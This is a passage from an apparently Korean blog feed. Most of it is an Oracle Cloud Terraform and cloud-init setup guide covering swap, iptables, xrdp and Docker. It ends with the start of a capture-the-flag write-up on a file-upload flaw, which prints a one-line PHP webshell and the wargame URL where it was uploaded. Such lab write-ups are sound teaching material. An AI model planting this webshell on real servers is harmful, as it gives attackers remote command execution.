        local pkgs=&quot;$*&quot;
        local max=5
        local n=1
        while [ $n -le $max ]; do
          echo &quot;[apt] 시도 $n/$max: $pkgs&quot;
          if apt-get install -y --fix-missing \
              -o Dpkg::Options::=&quot;--force-confold&quot; \
              -o Dpkg::Options::=&quot;--force-confdef&quot; \
              -o Acquire::Retries=3 \
              $pkgs; then
            echo &quot;[apt] 성공: $pkgs&quot;
            return 0
          fi
          echo &quot;[apt] 실패($n/$max). 저장소 재갱신 후 60초 대기...&quot;
          # broken 패키지 복구 후 재갱신
          dpkg --configure -a 2&amp;gt;/dev/null || true
          apt-get -f install -y 2&amp;gt;/dev/null || true
          apt-get update --fix-missing -o Acquire::Retries=3 || true
          sleep 60
          n=$((n + 1))
        done
        echo &quot;[apt] 최종 실패: $pkgs &amp;rarr; dpkg 직접 설치 방식으로 전환&quot;
        return 1  # 호출부에서 dpkg 폴백 분기 처리
      }

      # dpkg 직접 설치 함수 (공식 Launchpad/GitHub releases에서 .deb 다운로드)
      dpkg_install_from_url() {
        local name=&quot;$1&quot;
        local url=&quot;$2&quot;
        local deb=&quot;/tmp/$${name}.deb&quot;
        echo &quot;[dpkg] $name .deb 직접 다운로드: $url&quot;
        local max=5
        local n=1
        while [ $n -le $max ]; do
          if curl -fsSL --retry 3 --retry-delay 10 -o &quot;$deb&quot; &quot;$url&quot;; then
            echo &quot;[dpkg] 다운로드 완료 &amp;rarr; dpkg -i 설치 시도&quot;
            dpkg -i &quot;$deb&quot; &amp;amp;&amp;amp; echo &quot;[dpkg] 설치 성공: $name&quot; &amp;amp;&amp;amp; return 0
            echo &quot;[dpkg] dpkg 실패, 의존성 해결 시도...&quot;
            apt-get -f install -y || true
            dpkg -i &quot;$deb&quot; &amp;amp;&amp;amp; echo &quot;[dpkg] 재시도 성공: $name&quot; &amp;amp;&amp;amp; return 0
          fi
          echo &quot;[dpkg] 다운로드 실패($n/$max). 30초 후 재시도...&quot;
          sleep 30
          n=$((n + 1))
        done
        echo &quot;[dpkg] 최종 실패: $name&quot;
        return 1
      }

      # systemctl 안전 실행 (서비스 존재 여부 먼저 확인)
      safe_systemctl() {
        local action=&quot;$1&quot;
        local svc=&quot;$2&quot;
        if systemctl list-unit-files --type=service 2&amp;gt;/dev/null | grep -q &quot;^$${svc}&quot;; then
          systemctl &quot;$action&quot; &quot;$svc&quot; \
            &amp;amp;&amp;amp; echo &quot;[systemctl] $svc $action 완료&quot; \
            || echo &quot;[systemctl] $svc $action 실패 (무시)&quot;
        else
          echo &quot;[systemctl] '$svc' 서비스 없음 &amp;rarr; 건너뜀&quot;
        fi
      }

      # ════════════════════════════════════════════════════════════
      # 1. 환경 변수 (팝업 방지)
      # ════════════════════════════════════════════════════════════
      export DEBIAN_FRONTEND=noninteractive
      export UCF_FORCE_CONFOLD=1
      export NEEDRESTART_MODE=a

      timedatectl set-timezone Asia/Seoul || echo &quot;[tz] 시간대 설정 실패 (무시)&quot;

      # ════════════════════════════════════════════════════════════
      # 2. 스왑 메모리 (4GB)
      # ════════════════════════════════════════════════════════════
      echo &quot;=== 스왑 설정 ===&quot;
      if [ ! -f /swapfile ]; then
        fallocate -l 4G /swapfile \
          || dd if=/dev/zero of=/swapfile bs=1M count=4096 status=progress
        chmod 600 /swapfile
        mkswap /swapfile
        swapon /swapfile
        echo '/swapfile none swap sw 0 0' &amp;gt;&amp;gt; /etc/fstab
        echo &quot;[swap] 완료&quot;
      else
        echo &quot;[swap] 스왑파일 이미 존재 &amp;rarr; 건너뜀&quot;
      fi
      sysctl vm.swappiness=10 || true
      echo 'vm.swappiness=10' &amp;gt;&amp;gt; /etc/sysctl.conf

      # ════════════════════════════════════════════════════════════
      # 3. iptables 방화벽 규칙 설정 (OCI 기본 정책: INPUT DROP 대비)
      #    - OCI Ubuntu 이미지는 기본 iptables 정책이 DROP이므로
      #      SSH(22), RDP(3389) 포트를 명시적으로 허용해야 함
      # ════════════════════════════════════════════════════════════
      echo &quot;=== iptables 방화벽 규칙 설정 ===&quot;

      # SSH(22) 허용 - 최우선 삽입 (잠기지 않도록 보장)
      iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT \
        &amp;amp;&amp;amp; echo &quot;[iptables] SSH(22) 허용 완료&quot; \
        || echo &quot;[iptables] SSH(22) 규칙 추가 실패&quot;

      # RDP(3389) 허용
      iptables -I INPUT 2 -p tcp --dport 3389 -j ACCEPT \
        &amp;amp;&amp;amp; echo &quot;[iptables] RDP(3389) 허용 완료&quot; \
        || echo &quot;[iptables] RDP(3389) 규칙 추가 실패&quot;

      # ESTABLISHED/RELATED 허용 (응답 패킷 허용)
      iptables -I INPUT 3 -m state --state ESTABLISHED,RELATED -j ACCEPT \
        || true

      # loopback 허용
      iptables -I INPUT 4 -i lo -j ACCEPT \
        || true

      # 규칙 영구 저장 (재부팅 후에도 유지)
      mkdir -p /etc/iptables
      iptables-save &amp;gt; /etc/iptables/rules.v4 \
        &amp;amp;&amp;amp; echo &quot;[iptables] 규칙 영구 저장 완료 (/etc/iptables/rules.v4)&quot; \
        || echo &quot;[iptables] 규칙 저장 실패&quot;

      # 재부팅 시 자동 복원을 위한 rc.local 등록
      if [ ! -f /etc/rc.local ]; then
        echo '#!/bin/bash' &amp;gt; /etc/rc.local
        chmod +x /etc/rc.local
      fi
      grep -q 'iptables-restore' /etc/rc.local \
        || echo 'iptables-restore &amp;lt; /etc/iptables/rules.v4' &amp;gt;&amp;gt; /etc/rc.local

      echo &quot;[iptables] 현재 INPUT 규칙:&quot;
      iptables -L INPUT -n --line-numbers 2&amp;gt;/dev/null | head -20 || true

      # ════════════════════════════════════════════════════════════
      # 4. apt-get update (최대 5회 재시도)
      # ════════════════════════════════════════════════════════════
      echo &quot;=== apt-get update ===&quot;
      for i in 1 2 3 4 5; do
        if apt-get update --fix-missing -o Acquire::Retries=3; then
          echo &quot;[update] 성공&quot;
          break
        fi
        echo &quot;[update] 실패($i/5). 30초 후 재시도...&quot;
        sleep 30
      done

      # 선행 필수 도구 설치
      apt_install_with_retry ca-certificates curl gnupg lsb-release apt-transport-https \
        || true

      # 기존 패키지 업그레이드
      apt-get upgrade -y \
        -o Dpkg::Options::=&quot;--force-confold&quot; \
        -o Dpkg::Options::=&quot;--force-confdef&quot; \
        || echo &quot;[upgrade] 경고 발생 (무시하고 계속)&quot;

      # ════════════════════════════════════════════════════════════
      # 4. ubuntu-desktop 설치
      #    실패 시: universe 저장소 추가 후 재시도 &amp;rarr; 최종 실패 시 기록
      # ════════════════════════════════════════════════════════════
      echo &quot;=== ubuntu-desktop 설치 (10~20분 소요) ===&quot;

      DESKTOP_OK=false

      # 1차: 기본 저장소로 시도
      if apt_install_with_retry ubuntu-desktop; then
        DESKTOP_OK=true
        echo &quot;[desktop] apt(기본 저장소) 설치 성공&quot;
      else
        echo &quot;[desktop] 기본 저장소 실패 &amp;rarr; universe/PPA 저장소 추가 후 재시도&quot;

        # 2차: universe 저장소 활성화 후 재시도
        add-apt-repository -y universe || true
        add-apt-repository -y multiverse || true
        apt-get update --fix-missing -o Acquire::Retries=3 || true

        if apt_install_with_retry ubuntu-desktop; then
          DESKTOP_OK=true
          echo &quot;[desktop] apt(universe 저장소) 설치 성공&quot;
        else
          echo &quot;[desktop] 저장소 방식 모두 실패 &amp;rarr; 최종 실패로 기록&quot;
          DESKTOP_OK=false
        fi
      fi

      # ════════════════════════════════════════════════════════════
      # 5. xrdp 설치
      #    실패 시 1: Launchpad PPA(neutrinolabs) 추가 후 재시도
      #    실패 시 2: GitHub releases에서 .deb 직접 다운로드 &amp;rarr; dpkg 설치
      # ════════════════════════════════════════════════════════════
      echo &quot;=== xrdp 설치 ===&quot;

      XRDP_OK=false

      # 1차: 기본 apt 시도
      if apt_install_with_retry xrdp; then
        XRDP_OK=true
        echo &quot;[xrdp] apt(기본) 설치 성공&quot;
      else
        echo &quot;[xrdp] 기본 apt 실패 &amp;rarr; neutrinolabs PPA 추가 후 재시도&quot;

        # 2차: 공식 PPA 추가
        add-apt-repository -y ppa:neutrinolabs/xrdp || true
        apt-get update --fix-missing -o Acquire::Retries=3 || true

        if apt_install_with_retry xrdp; then
          XRDP_OK=true
          echo &quot;[xrdp] PPA 설치 성공&quot;
        else
          echo &quot;[xrdp] PPA도 실패 &amp;rarr; GitHub releases에서 .deb 직접 설치&quot;

          # 3차: GitHub releases에서 최신 .deb 직접 다운로드
          # ARM64(aarch64) 대상 .deb 파일을 neutrinolabs/xrdp 공식 릴리스에서 획득
          XRDP_VER=&quot;0.10.1&quot;
          XRDP_DEB_URL=&quot;https://github.com/neutrinolabs/xrdp/releases/download/v$${XRDP_VER}/xrdp_$${XRDP_VER}-1_arm64.deb&quot;

          if dpkg_install_from_url &quot;xrdp&quot; &quot;$XRDP_DEB_URL&quot;; then
            XRDP_OK=true
            echo &quot;[xrdp] .deb 직접 설치 성공&quot;
          else
            echo &quot;[xrdp] 모든 설치 방법 실패 &amp;rarr; 수동 확인 필요&quot;
            XRDP_OK=false
          fi
        fi
      fi

      # xrdp 서비스 활성화 (설치 성공 시)
      if [ &quot;$XRDP_OK&quot; = true ] &amp;amp;&amp;amp; command -v xrdp &amp;gt; /dev/null 2&amp;gt;&amp;amp;1; then
        safe_systemctl enable xrdp
        safe_systemctl start xrdp
        # ssl-cert 그룹에 xrdp 추가 (TLS 인증서 접근 권한)
        usermod -aG ssl-cert xrdp 2&amp;gt;/dev/null \
          || adduser xrdp ssl-cert 2&amp;gt;/dev/null \
          || echo &quot;[xrdp] ssl-cert 그룹 추가 실패 (무시)&quot;
        echo &quot;[xrdp] 서비스 활성화 완료&quot;
      fi

      # ════════════════════════════════════════════════════════════
      # 6. RDP 접속용 비밀번호 설정
      # ════════════════════════════════════════════════════════════
      echo &quot;ubuntu:&amp;lt;RDP 접속용 비밀번호&amp;gt;&quot; | chpasswd \
        &amp;amp;&amp;amp; echo &quot;[passwd] ubuntu 비밀번호 설정 완료&quot; \
        || echo &quot;[passwd] 비밀번호 설정 실패&quot;

      # ════════════════════════════════════════════════════════════
      # 7. Docker 설치
      #    1차: get.docker.com 공식 스크립트
      #    2차: apt docker.io (Ubuntu 공식 패키지)
      #    3차: GitHub releases에서 docker-ce .deb 직접 설치
      # ════════════════════════════════════════════════════════════
      echo &quot;=== Docker 설치 ===&quot;

      DOCKER_OK=false

      if command -v docker &amp;gt; /dev/null 2&amp;gt;&amp;amp;1; then
        DOCKER_OK=true
        echo &quot;[docker] 이미 설치됨 &amp;rarr; 건너뜀&quot;
      else
        # 1차: 공식 install 스크립트
        echo &quot;[docker] get.docker.com 스크립트 시도...&quot;
        if curl -fsSL --retry 5 --retry-delay 10 https://get.docker.com -o /tmp/get-docker.sh \
            &amp;amp;&amp;amp; sh /tmp/get-docker.sh; then
          DOCKER_OK=true
          echo &quot;[docker] 공식 스크립트 설치 성공&quot;
        else
          echo &quot;[docker] 공식 스크립트 실패 &amp;rarr; apt docker.io 시도&quot;

          # 2차: Ubuntu 공식 패키지
          if apt_install_with_retry docker.io docker-compose-plugin; then
            DOCKER_OK=true
            echo &quot;[docker] apt(docker.io) 설치 성공&quot;
          else
            echo &quot;[docker] apt 실패 &amp;rarr; Docker CE 공식 저장소 추가 후 재시도&quot;

            # 3차: Docker 공식 apt 저장소 직접 구성
            install -m 0755 -d /etc/apt/keyrings
            curl -fsSL https://download.docker.com/linux/ubuntu/gpg \
              | gpg --dearmor -o /etc/apt/keyrings/docker.gpg || true
            chmod a+r /etc/apt/keyrings/docker.gpg

            DISTRO_CODENAME=$(lsb_release -cs 2&amp;gt;/dev/null || echo &quot;noble&quot;)
            echo \
              &quot;deb [arch=arm64 signed-by=/etc/apt/keyrings/docker.gpg] \
              https://download.docker.com/linux/ubuntu $DISTRO_CODENAME stable&quot; \
              &amp;gt; /etc/apt/sources.list.d/docker.list

            apt-get update --fix-missing -o Acquire::Retries=3 || true

            if apt_install_with_retry docker-ce docker-ce-cli containerd.io docker-compose-plugin; then
              DOCKER_OK=true
              echo &quot;[docker] Docker CE 공식 저장소 설치 성공&quot;
            else
              echo &quot;[docker] 모든 방법 실패 &amp;rarr; 수동 확인 필요&quot;
            fi
          fi
        fi
      fi

      if [ &quot;$DOCKER_OK&quot; = true ] &amp;amp;&amp;amp; command -v docker &amp;gt; /dev/null 2&amp;gt;&amp;amp;1; then
        usermod -aG docker ubuntu || true
        safe_systemctl enable docker
        safe_systemctl start docker
        echo &quot;[docker] 완료: $(docker --version)&quot;
      fi

      # ════════════════════════════════════════════════════════════
      # 8. 설치 완료 상태 기록
      # ════════════════════════════════════════════════════════════
      STATUS_FILE=&quot;/home/ubuntu/setup_done.txt&quot;
      {
        echo &quot;=== 설치 완료: $(date '+%Y-%m-%d %H:%M:%S') ===&quot;
        echo &quot;&quot;
        echo &quot;[ubuntu-desktop] $(dpkg -l ubuntu-desktop 2&amp;gt;/dev/null | grep '^ii' | awk '{print &quot;installed: &quot;$3}' || echo 'not installed')&quot;
        echo &quot;[xrdp]           $(systemctl is-active xrdp 2&amp;gt;/dev/null || echo 'not found') / $(dpkg -l xrdp 2&amp;gt;/dev/null | grep '^ii' | awk '{print $3}' || echo 'not installed')&quot;
        echo &quot;[docker]         $(docker --version 2&amp;gt;/dev/null || echo 'not installed')&quot;
        echo &quot;&quot;
        echo &quot;전체 로그: $LOG_FILE&quot;
        echo &quot;&quot;
        echo &quot;접속 확인 명령어 (SSH 접속 후):&quot;
        echo &quot;  systemctl status xrdp&quot;
        echo &quot;  tail -f /var/log/setup-script.log&quot;
        echo &quot;  tail -f /var/log/cloud-init-output.log&quot;
      } &amp;gt; &quot;$STATUS_FILE&quot;
      chown ubuntu:ubuntu &quot;$STATUS_FILE&quot;

      echo &quot;=== 스크립트 완료: $(date '+%Y-%m-%d %H:%M:%S') ===&quot;
    EOT
    )
  }
}

# ════════════════════════════════════════════════════════════
# Outputs
# ════════════════════════════════════════════════════════════
output &quot;instance_public_ip&quot; {
  description = &quot;인스턴스 공인 IP (apps/install_apps.tf의 server_ip에 입력)&quot;
  value       = oci_core_instance.paperclip_arm.public_ip
}

output &quot;instance_id&quot; {
  description = &quot;인스턴스 OCID&quot;
  value       = oci_core_instance.paperclip_arm.id
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;제가 구성했던 포트는 다음과 같습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;22&lt;/b&gt;&amp;nbsp;-&amp;nbsp;SSH&amp;nbsp;접속&amp;nbsp; &lt;br /&gt;&lt;b&gt;443&lt;/b&gt;&amp;nbsp;-&amp;nbsp;OpenClaw&amp;nbsp;HTTPS&amp;nbsp;(nginx&amp;nbsp;프록시) &lt;br /&gt;&lt;b&gt;3100&lt;/b&gt;&amp;nbsp;-&amp;nbsp;Paperclip&amp;nbsp;HTTP&amp;nbsp;(직접&amp;nbsp;또는&amp;nbsp;내부)&amp;nbsp; &lt;br /&gt;&lt;b&gt;3389&amp;nbsp;&lt;/b&gt;-&amp;nbsp;RDP&amp;nbsp;원격&amp;nbsp;데스크톱 &lt;br /&gt;&lt;b&gt;3443&lt;/b&gt;&amp;nbsp;-&amp;nbsp;Paperclip&amp;nbsp;HTTPS&amp;nbsp;(nginx&amp;nbsp;프록시) &lt;br /&gt;&lt;b&gt;18789&lt;/b&gt;&amp;nbsp;-OpenClaw&amp;nbsp;Gateway&amp;nbsp;(원본&amp;nbsp;HTTP)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인스턴스 이미지의 OCID 찾는 방법은 다음과 같습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OCI 콘솔 &amp;rarr; 컴퓨트 &amp;rarr; 이미지 &amp;rarr; 플랫폼 이미지 필터 &amp;rarr; Ubuntu 24.04 aarch64 선택 &amp;rarr; OCID 복사&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는&lt;/p&gt;
&lt;pre id=&quot;code_1775073028138&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;oci compute image list --compartment-id &amp;lt;compartment_ocid&amp;gt; `
  --operating-system &quot;Canonical Ubuntu&quot; `
  --shape &quot;VM.Standard.A1.Flex&quot; `
  --sort-by TIMECREATED --sort-order DESC `
  --query &quot;data[0].id&quot; --raw-output&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;cloud-init 서버 초기 설정&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심 설계 원칙은 모든 설치 단계에 3중 폴백을 적용했습니다.&lt;br /&gt;OCI ARM 인스턴스는 패키지 미러 불안정이 잦아서, 한 가지 방법만 쓰면 실패 확률이 높기 때문입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로그 설정&lt;/b&gt;: `/var/log/setup-script.log`에 전체 기록&lt;br /&gt;&lt;b&gt;유틸리티 함수&lt;/b&gt;: `apt_install_with_retry` (5회 재시도), `dpkg_install_from_url` (폴백), `safe_systemctl`&amp;nbsp;&lt;br /&gt;&lt;b&gt;환경 변수&lt;/b&gt;: `DEBIAN_FRONTEND=noninteractive` (팝업 방지)&amp;nbsp;&lt;br /&gt;&lt;b&gt;스왑&lt;/b&gt;: 4GB 스왑파일 생성 (메모리 부족 대비)&amp;nbsp;&lt;br /&gt;&lt;b&gt;iptables&lt;/b&gt;: SSH(22), RDP(3389) 포트 열기 + 영구 저장&amp;nbsp;&lt;br /&gt;&lt;b&gt;apt 업데이트&lt;/b&gt;: 5회 재시도, 의존성 자동 복구&amp;nbsp;&lt;br /&gt;&lt;b&gt;ubuntu-desktop&lt;/b&gt;: GUI 데스크톱 설치 (RDP 접속용)&amp;nbsp;&lt;br /&gt;&lt;b&gt;xrdp&lt;/b&gt;: RDP 서버 (1차 apt &amp;rarr; 2차 PPA &amp;rarr; 3차 .deb 직접 설치)&amp;nbsp;&lt;br /&gt;&lt;b&gt;Docke&lt;/b&gt;r: 1차 get.docker.com &amp;rarr; 2차 apt &amp;rarr; 3차 공식 저장소&amp;nbsp;&lt;br /&gt;&lt;b&gt;비밀번호&lt;/b&gt;: ubuntu 계정 비밀번호 설정 (RDP 로그인용)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;로그 확인:&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1775073386193&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# SSH 접속 후
tail -f /var/log/setup-script.log       # 커스텀 스크립트 로그
tail -f /var/log/cloud-init-output.log  # cloud-init 전체 로그
cat /home/ubuntu/setup_done.txt         # 설치 완료 요약&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Terraform&amp;nbsp;실행&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775073546303&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd C:\oci-project\infra

# 프로바이더 다운로드
terraform init

# 변경 사항 미리 확인
terraform plan

# 인프라 생성 (VCN + 서브넷 + 인스턴스)
terraform apply&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;apply&lt;/b&gt; 완료까지 약 3-5분 소요되며.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;cloud-init&lt;/b&gt;은 백그라운드에서 10-20분 추가 실행됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775073627116&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 생성된 IP 확인

terraform output instance_public_ip

# SSH 접속 확인

ssh -i C:\Users\jh\.ssh\my_key.pem ubuntu@&amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;기타 사항&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;OCI&amp;nbsp;Always&amp;nbsp;Free&amp;nbsp;ARM&amp;nbsp;인스턴스가&amp;nbsp;안&amp;nbsp;만들어질&amp;nbsp;때&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Out of capacity 에러가 뜬다면 해당 리전에 ARM 자원이 없다는 것입니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;다른&amp;nbsp;Availability&amp;nbsp;Domain&amp;nbsp;시도&amp;nbsp;(서울은&amp;nbsp;1개뿐이라&amp;nbsp;해당&amp;nbsp;없음) &lt;br /&gt;-&amp;nbsp;시간대를&amp;nbsp;바꿔서&amp;nbsp;재시도&amp;nbsp;(새벽&amp;nbsp;시간에&amp;nbsp;자원&amp;nbsp;반납이&amp;nbsp;많음) &lt;br /&gt;-&amp;nbsp;shape_config에서&amp;nbsp;OCPU/메모리를&amp;nbsp;줄여서&amp;nbsp;시도&amp;nbsp;(1&amp;nbsp;OCPU&amp;nbsp;/&amp;nbsp;6GB로&amp;nbsp;시작) &lt;br /&gt;-&amp;nbsp;자동&amp;nbsp;재시도&amp;nbsp;스크립트&amp;nbsp;활용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;iptables&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OCI Ubuntu 이미지는 기본 iptables 정책이 INPUT DROP 입니다.&lt;br /&gt;Security List에서 포트를 열어도 OS 레벨에서 차단되므로, 반드시 iptables도 설정해야 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1775073788827&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# REJECT 규칙보다 앞에 ACCEPT 삽입
sudo iptables -I INPUT 1 -p tcp --dport 443 -j ACCEPT
sudo iptables-save | sudo tee /etc/iptables.rules&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Terraform&amp;nbsp;상태&amp;nbsp;파일&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;terraform.tfstate는 로컬에 저장되므로, 이 파일이 없으면 Terraform은 기존 리소스를 인식하지 못합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1775073845497&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# .gitignore에 반드시 추가
*.tfstate
*.tfstate.backup
.terraform/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음글은 완전 무료로 사용이 가능한&lt;br /&gt;OpenClaw +&amp;nbsp; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Github Copilot (GPT5-mini) 모델 &lt;/span&gt;설치와 Paperclip 연동에 대해서 작성해보겠습니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Cloud</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/249</guid>
      <comments>https://noong2.tistory.com/249#entry249comment</comments>
      <pubDate>Thu, 2 Apr 2026 05:06:55 +0900</pubDate>
    </item>
    <item>
      <title>9 File Upload</title>
      <link>https://noong2.tistory.com/248</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;목표&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;취약한 파일 업로드 기능을 악용하여 &lt;b&gt;웹셸(Webshell)&lt;/b&gt;을 업로드.&lt;/li&gt;
&lt;li&gt;서버에서 명령어 실행을 통해 플래그 파일(/flag) 내용 획득.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;파일 업로드 기능&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 업로드 기능이 적절히 검증되지 않음.&lt;/li&gt;
&lt;li&gt;PHP 파일과 같은 실행 가능한 파일 업로드 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;업로드된 파일 실행 가능&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드된 파일의 URL 경로를 통해 해당 파일을 직접 실행 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;플래그 파일 경로 탐색&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/flag 파일이 서버에 존재하며, 이를 탐색 및 읽어야 함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 웹셸 작성&lt;/b&gt;:&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;system() 함수로 서버에서 명령어를 실행.&lt;/li&gt;
&lt;li&gt;URL 파라미터 id를 통해 명령어 전달.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1737520276983&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php echo system($_GET['id']); ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 웹셸 업로드&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹셸 파일(webshells.php)을 업로드:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드된 파일의 URL:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;a href=&quot;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php&quot;&gt;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 플래그 파일 탐색&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
